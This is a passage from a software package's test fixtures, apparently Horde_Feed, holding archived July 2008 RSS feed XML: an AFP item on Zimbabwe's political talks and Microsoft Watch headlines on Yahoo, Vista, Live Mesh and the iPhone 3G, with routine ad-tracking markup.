href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/afp/20080722/ts_afp/zimbabwepolitics"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080722/capt.cps.nbh62.220708141759.photo00.photo.default-512x321.jpg?x=130&y=81&q=85&sig=RxKG2mj9eN4s_Y0kpMZVIg--" align="left" height="81" width="130" alt="Zimbabwean President Robert Mugabe (left) shakes hands with Movement for Democratic Change leader Morgan Tsvangirai after the signing of a deal paving the way for full-scale talks on July 21. Negotiators from Zimbabwe's opposition and ruling party are due to hold a first round of talks in South Africa aimed at putting an end to the country's months-long political crisis.(AFP/Desmond Kwande)" border="0" /></a>AFP - Negotiators from Zimbabwe's opposition and ruling party were due to hold a first round of talks in South Africa on Tuesday aimed at putting an end to the country's months-long political crisis.</p><br clear="all"/> <p><a href="http://us.rd.yahoo.com/dailynews/rss/topstories/*http://news.yahoo.com/s/afp/20080722/ts_afp/zimbabwepolitics"><img src="http://d.yimg.com/us.yimg.com/p/afp/20080722/capt.cps.nbh62.220708141759.photo00.photo.default-512x321.jpg?x=130&y=81&q=85&sig=RxKG2mj9eN4s_Y0kpMZVIg--" align="left" height="81" width="130" alt="photo" title="Zimbabwean President Robert Mugabe (left) shakes hands with Movement for Democratic Change leader Morgan Tsvangirai after the signing of a deal paving the way for full-scale talks on July 21. Negotiators from Zimbabwe's opposition and ruling party are due to hold a first round of talks in South Africa aimed at putting an end to the country's months-long political crisis.(AFP/Desmond Kwande)" border="0"/></a></p><br clear="all"/> (AFP) Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-rssnewsapps.ziffdavis.com-msw.xml0000664000175000017500000015627612653701626027467 0ustar janjan Microsoft Watch http://www.microsoft-watch.com/?kc=MWRSS02129TX1K0000535 en Copyright 2008 Mon, 21 Jul 2008 11:55:58 -0500 http://www.sixapart.com/movabletype/ http://blogs.law.harvard.edu/tech/rss S3 Outage: Software Minus Services <p><strong>News Commentary.</strong> If Web services infrastructure is a utility, like electricity, shouldn't it be as reliable&#151;or <em>more</em>?<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=9632bfd110771a373335cbe90b8b8ad7" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=9632bfd110771a373335cbe90b8b8ad7" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=Hxpggh"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=Hxpggh" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=I80lcJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=I80lcJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=8Jn16j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=8Jn16j" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=l4UMyJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=l4UMyJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=4XnViJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=4XnViJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/341659570" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/341659570/s3_outage_software_minus_services.html http://www.microsoft-watch.com/content/web_services_browser/s3_outage_software_minus_services.html?kc=MWRSS02129TX1K0000535 Server Storage Web Services & Browser Amazon data center data centers Microsoft S3 Web 2.0 Web 2.0 platform Web services Mon, 21 Jul 2008 11:55:58 -0500 http://www.microsoft-watch.com/content/web_services_browser/s3_outage_software_minus_services.html?kc=MWRSS02129TX1K0000535 Yahoo's Worth to Microsoft: $19 and Change <p><strong>News Analysis.</strong> How the mighty Microsoft offers are laid low. Forget $31 per share for Yahoo, Microsoft will pay $19.50.<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=2fdd8ad09457594012405f978fa6f84f" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=2fdd8ad09457594012405f978fa6f84f" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=OcVwHD"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=OcVwHD" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=IAxA1J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=IAxA1J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=9ekT8j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=9ekT8j" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=Ukaz3J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=Ukaz3J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=nHzIwJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=nHzIwJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/339214787" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/339214787/yahoos_worth_to_microsoft_19_and_change.html http://www.microsoft-watch.com/content/advertising_search/yahoos_worth_to_microsoft_19_and_change.html?kc=MWRSS02129TX1K0000535 Advertising & Search Corporate Web Services & Browser Google mergers Microsoft online advertising search search marketing Yahoo Fri, 18 Jul 2008 13:56:11 -0500 http://www.microsoft-watch.com/content/advertising_search/yahoos_worth_to_microsoft_19_and_change.html?kc=MWRSS02129TX1K0000535 Microsoft Q4 2008 by the Numbers <p><strong>News Analysis.</strong> This afternoon, Microsoft reported its last yearly earnings with Microsoft Chairman Bill Gates working in a full-time role. Well, well, Microsoft reached 60 before its chairman.<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=a8315827b0089e37004e9fa2ce900f80" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=a8315827b0089e37004e9fa2ce900f80" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=dhHpnt"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=dhHpnt" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=rBwzIJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=rBwzIJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=WDWR6j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=WDWR6j" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=f7i6cJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=f7i6cJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=woFAoJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=woFAoJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/338369746" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/338369746/microsoft_q4_2008_by_the_numbers.html http://www.microsoft-watch.com/content/corporate/microsoft_q4_2008_by_the_numbers.html?kc=MWRSS02129TX1K0000535 Advertising & Search Business Applications Channel Corporate Desktop & Mobile Developer Games & Consumer Marketing Messaging & Collaboration Operating Systems Security Server Storage Vista Web Services & Browser Dynamics earnings financial financial results fiscal 2008 fiscal 2008 Q4 fourth quarter Microsoft MSFT MSN Office Q4 SharePoint SharePoint Server SharePoint Server 2008 SQL Server SQL Server 2008 Windows Windows Live Windows Server Windows Server 2008 Xbox Xbox 360 Thu, 17 Jul 2008 16:24:14 -0500 http://www.microsoft-watch.com/content/corporate/microsoft_q4_2008_by_the_numbers.html?kc=MWRSS02129TX1K0000535 Vista: Victim of Enterprise Malaise <p><strong>News Analysis.</strong> Windows Vista probably deserves a break, but it won't be getting one from enterprises. <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=dc20c9df585e4d56d2ac02406924cef7" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=dc20c9df585e4d56d2ac02406924cef7" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=M66AaM"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=M66AaM" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=GwV4SJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=GwV4SJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=Nwmz3j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=Nwmz3j" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=uKwAnJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=uKwAnJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=b07rgJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=b07rgJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/338238362" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/338238362/vista_victim_of_enterprise_malaise.html http://www.microsoft-watch.com/content/vista/vista_victim_of_enterprise_malaise.html?kc=MWRSS02129TX1K0000535 Operating Systems Vista enterprise adoption Microsoft operating system operating systems Service Pack 1 Service Pack 3 SP1 SP3 Vista Windows Vista Windows XP Thu, 17 Jul 2008 13:14:16 -0500 http://www.microsoft-watch.com/content/vista/vista_victim_of_enterprise_malaise.html?kc=MWRSS02129TX1K0000535 Should You Mesh or Me? <p><strong>News Analysis.</strong> Late yesterday, Microsoft quietly opened up the Live Mesh Technical Preview to most anyone in the United States&#151;less than a week after Apple launched MobileMe. Coincidence? Yeah, right.<br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=d5c797bf709d6f99fb995fc14016e546"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=d5c797bf709d6f99fb995fc14016e546"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=d5c797bf709d6f99fb995fc14016e546" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=oWzuQi"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=oWzuQi" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=6OyStJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=6OyStJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=KYnFfj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=KYnFfj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=2jJdIJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=2jJdIJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=ls8uQJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=ls8uQJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/337271520" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/337271520/should_you_mesh_or_me.html http://www.microsoft-watch.com/content/web_services_browser/should_you_mesh_or_me.html?kc=MWRSS02129TX1K0000535 Web Services & Browser .Mac Apple LiveMesh Mesh Microsoft MobileMe sync synchronization Web 2.0 Web services Windows Live ID Wed, 16 Jul 2008 13:32:09 -0500 http://www.microsoft-watch.com/content/web_services_browser/should_you_mesh_or_me.html?kc=MWRSS02129TX1K0000535 Vista: DOA in the Enterprise <p><strong>News Analysis.</strong> But you knew that already, right?<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=b0ce4c1c7aeb2705fd19100c919385c7" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=b0ce4c1c7aeb2705fd19100c919385c7" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=1bbZ5Y"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=1bbZ5Y" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=wpSAmJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=wpSAmJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=vphZ4j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=vphZ4j" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=tZBZzJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=tZBZzJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=jHu0WJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=jHu0WJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/336477031" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/336477031/vista_doa_in_the_enterprise.html http://www.microsoft-watch.com/content/vista/vista_doa_in_the_enterprise.html?kc=MWRSS02129TX1K0000535 Marketing Operating Systems Vista business adoption enterprise eWEEK eWEEK survey Microsoft operating system operating systems Vista Windows Vista Tue, 15 Jul 2008 17:50:38 -0500 http://www.microsoft-watch.com/content/vista/vista_doa_in_the_enterprise.html?kc=MWRSS02129TX1K0000535 Microsoft Pooh-Poohs Yahoo <p><strong>News Analysis.</strong> Corporate finger pointing is fraught with deceit; nobody is believable. Saturday, Yahoo wagged its finger in accusation. Today, Microsoft pointed back.<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=1a2a845c0d15dc255872431b524ac554" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=1a2a845c0d15dc255872431b524ac554" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=8dxt3n"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=8dxt3n" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=ZxxCgJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=ZxxCgJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=9NTAxj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=9NTAxj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=BnRX6J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=BnRX6J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=X7nd7J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=X7nd7J" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/335543721" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/335543721/microsoft_poo_poos_yahoo.html http://www.microsoft-watch.com/content/corporate/microsoft_poo_poos_yahoo.html?kc=MWRSS02129TX1K0000535 Advertising & Search Corporate Web Services & Browser advertising Carl Icahn Microsoft search Web services Yahoo Mon, 14 Jul 2008 18:06:45 -0500 http://www.microsoft-watch.com/content/corporate/microsoft_poo_poos_yahoo.html?kc=MWRSS02129TX1K0000535 Microsoft to Yahoo: Set the Record Straight <p><strong>News Brief.</strong> Today, Microsoft <em>finally</em> responded to Yahoo's weekend letter about Friday's joint offer with billionaire business buster Carl Icahn.<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=f1d5ad4b44cad99a1d551a41cc3acf09" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=f1d5ad4b44cad99a1d551a41cc3acf09" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=B7YVSU"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=B7YVSU" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=Q0CglJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=Q0CglJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=xghgnj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=xghgnj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=RD4vWJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=RD4vWJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=U5V9fJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=U5V9fJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/335521890" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/335521890/microsoft_to_yahoo_set_the_record_straight.html http://www.microsoft-watch.com/content/advertising_search/microsoft_to_yahoo_set_the_record_straight.html?kc=MWRSS02129TX1K0000535 Advertising & Search Corporate Web Services & Browser advertising Carl Icahn Microsoft search Web services Yahoo Mon, 14 Jul 2008 17:51:12 -0500 http://www.microsoft-watch.com/content/advertising_search/microsoft_to_yahoo_set_the_record_straight.html?kc=MWRSS02129TX1K0000535 If Icahn Not Have Yahoo, Boo Hoo! <p><strong>News Commentary.</strong> In "<a href="http://www.imdb.com/title/tt0077355/">Coma</a>," patients' brains are killed during surgical operations, and their organs sold one part at a time to the highest bidder.<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=519fb8a997c6d26517ed6eeb9b9d840a" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=519fb8a997c6d26517ed6eeb9b9d840a" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=okM4jK"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=okM4jK" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=MFUd7J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=MFUd7J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=6YqZMj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=6YqZMj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=h2OKEJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=h2OKEJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=JcEGyJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=JcEGyJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/334833261" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/334833261/if_icahn_not_have_yahoo_boo_hoo.html http://www.microsoft-watch.com/content/corporate/if_icahn_not_have_yahoo_boo_hoo.html?kc=MWRSS02129TX1K0000535 Advertising & Search Corporate Web Services & Browser advertising Carl Icahn Microsoft search Web services Yahoo Mon, 14 Jul 2008 01:11:52 -0500 http://www.microsoft-watch.com/content/corporate/if_icahn_not_have_yahoo_boo_hoo.html?kc=MWRSS02129TX1K0000535 Yahoo's No Icahn Do Letter <p><strong>News Brief.</strong> Yahoo spills the takeover dirt in a weekend letter about a new Microsoft offer received on Friday and promptly rejected. <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=0f28e2c1e130c0a9a85af00fe18adf4c" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=0f28e2c1e130c0a9a85af00fe18adf4c" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=55naH1"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=55naH1" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=O481dJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=O481dJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=RqNK9j"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=RqNK9j" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=4F6urJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=4F6urJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=H8Z8xJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=H8Z8xJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/334802165" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/334802165/yahoos_no_icahn_do_letter.html http://www.microsoft-watch.com/content/advertising_search/yahoos_no_icahn_do_letter.html?kc=MWRSS02129TX1K0000535 Advertising & Search Corporate Web Services & Browser advertising Carl Icahn Microsoft search Web services Yahoo Mon, 14 Jul 2008 00:49:51 -0500 http://www.microsoft-watch.com/content/advertising_search/yahoos_no_icahn_do_letter.html?kc=MWRSS02129TX1K0000535 What Microsoft Should Learn from iPhone 3G <p><strong>News Analysis.</strong> Be prepared. Apple wasn't ready.<br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=9a94ce883c6a11368cdbb32a6d4dd6b7"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=9a94ce883c6a11368cdbb32a6d4dd6b7"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=9a94ce883c6a11368cdbb32a6d4dd6b7" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=73cyBW"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=73cyBW" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=BRTEJJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=BRTEJJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=aN9yoj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=aN9yoj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=LHSm9J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=LHSm9J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=CnIdsJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=CnIdsJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/334776389" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/334776389/what_microsoft_should_learn_from_iphone_3g.html http://www.microsoft-watch.com/content/desktop_mobile/what_microsoft_should_learn_from_iphone_3g.html?kc=MWRSS02129TX1K0000535 Desktop & Mobile Messaging & Collaboration Server Web Services & Browser Apple cell phones gadgets iPhone iPhone 2.0 iPhone 3G Microsoft MobileMe mobiles Mon, 14 Jul 2008 00:30:00 -0500 http://www.microsoft-watch.com/content/desktop_mobile/what_microsoft_should_learn_from_iphone_3g.html?kc=MWRSS02129TX1K0000535 iPhone, Exchange in Sync <p><strong>Podcast.</strong> Exchange closed out a big week, with pricing released on the hosted version and launch of Apple's iPhone 3G.<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=b6a7414c44abfa518a2f29befa5a1264" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=b6a7414c44abfa518a2f29befa5a1264" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=57YGAw"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=57YGAw" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=QJzR5J"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=QJzR5J" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=yOeXuj"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=yOeXuj" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=cEbHgJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=cEbHgJ" border="0"></img></a> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=AXRwUJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=AXRwUJ" border="0"></img></a> </div><img src="http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~4/333989753" height="1" width="1"/> http://feeds.ziffdavisenterprise.com/~r/RSS/MicrosoftWatch/~3/333989753/iphone_exchange_in_sync.html http://www.microsoft-watch.com/content/podcasts/iphone_exchange_in_sync.html?kc=MWRSS02129TX1K0000535 Podcasts ActiveSync Azaleos Exchange Exchange Server iPhone iPhone 2.0 iPhone 3G podcast sync synchronization Sat, 12 Jul 2008 23:23:24 -0500 http://www.microsoft-watch.com/content/podcasts/iphone_exchange_in_sync.html?kc=MWRSS02129TX1K0000535 Can There Be 'Wow' in Vista Marketing? <p><strong>News Commentary.</strong> Yesterday's Microsoft marketing bravado is just too funny. So <em>now</em>, 17 months after general availability, Microsoft will promote Windows Vista? Get a life.<br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=23550cf71336fb7b1c6927c7aba3bee6" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=23550cf71336fb7b1c6927c7aba3bee6" style="display: none;" border="0" height="1" width="1" alt=""/> <p><a href="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?a=nqf0FO"><img src="http://feeds.ziffdavisenterprise.com/~a/RSS/MicrosoftWatch?i=nqf0FO" border="0"></img></a></p><div class="feedflare"> <a href="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?a=8C68yJ"><img src="http://feeds.ziffdavisenterprise.com/~f/RSS/MicrosoftWatch?i=8C68yJ" 